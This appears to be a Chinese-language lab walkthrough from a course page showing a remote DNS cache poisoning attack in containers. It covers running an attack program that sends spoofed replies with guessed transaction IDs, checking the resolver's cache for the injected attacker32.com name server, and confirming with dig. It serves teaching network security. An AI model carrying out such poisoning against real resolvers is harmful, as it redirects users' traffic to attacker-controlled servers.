在攻击开始之前,我们先运行  dig 命令来获取 example.com 域的正确信息。  

# dig NS example.com
;; 回答部分:
example.com.            86400   IN      NS      a.iana-servers.net.
example.com.            86400   IN      NS      b.iana-servers.net.

# dig www.example.com
;; 回答部分:
www.example.com.        86400   IN      A       93.184.216.34

我们然后进入攻击者容器,开始发动攻击。运行的 attack 程序来自 C 代码,它在循环里每次生成一个随机主机名,并发送 100 个伪造的回复(用不同的交易 ID)。

# gen_dns_request.py      
# gen_dns_response.py    
# ./attack      
attempt #1. request is [jmtll.example.com], transaction ID is: [0]
attempt #2. request is [svynt.example.com], transaction ID is: [100]
attempt #3. request is [xwefb.example.com], transaction ID is: [200]
attempt #4. request is [xfajc.example.com], transaction ID is: [300]
...

在攻击进行时,我们去本地 DNS 服务器,在缓存文件中不断搜索 attacker 一词,直到看到它为止,这表示攻击成功了。通常几分钟之内就能看到结果。一旦成功了,就应该停止攻击程序。

# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
ns.attacker32.com.  615600  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. ...
example.com.        777594  NS  ns.attacker32.com.

为了证实攻击确实成功了,我们可以在用户机器上运行 dig 命令,查询 www.example.com 的 IP 地址。从缓存中,本地 DNS 服务器知道 ns.attacker32.com 是 example.com 的域名服务器。如果我们查询 example.com 域的 NS 记录,我们将看到以下结果,表明这个域的域名服务器是攻击者的机器。

# dig NS example.com    
;; ANSWER SECTION:
example.com.          172501   IN   NS  ns.attacker32.com.


;; ADDITIONAL SECTION:
ns.attacker32.com.    258907   IN   A   10.9.0.153

攻击者需要正确设置域名服务器 ns.attacker32.com,以便能够回答对 www.example.com 的查询。也就是说,域名服务器需要为 example.com 域建一个虚假的区域。这已经在攻击者的域名服务器容器内部设置好了。从用户机器上,我们可以查询该域内的任何主机名,我们将会收到由攻击者发送出的回复。

# dig www.example.com
;; ANSWER SECTION:
www.example.com.    259200  IN  A   1.2.3.5
Last modified: Friday, 9 May 2025, 9:27 AM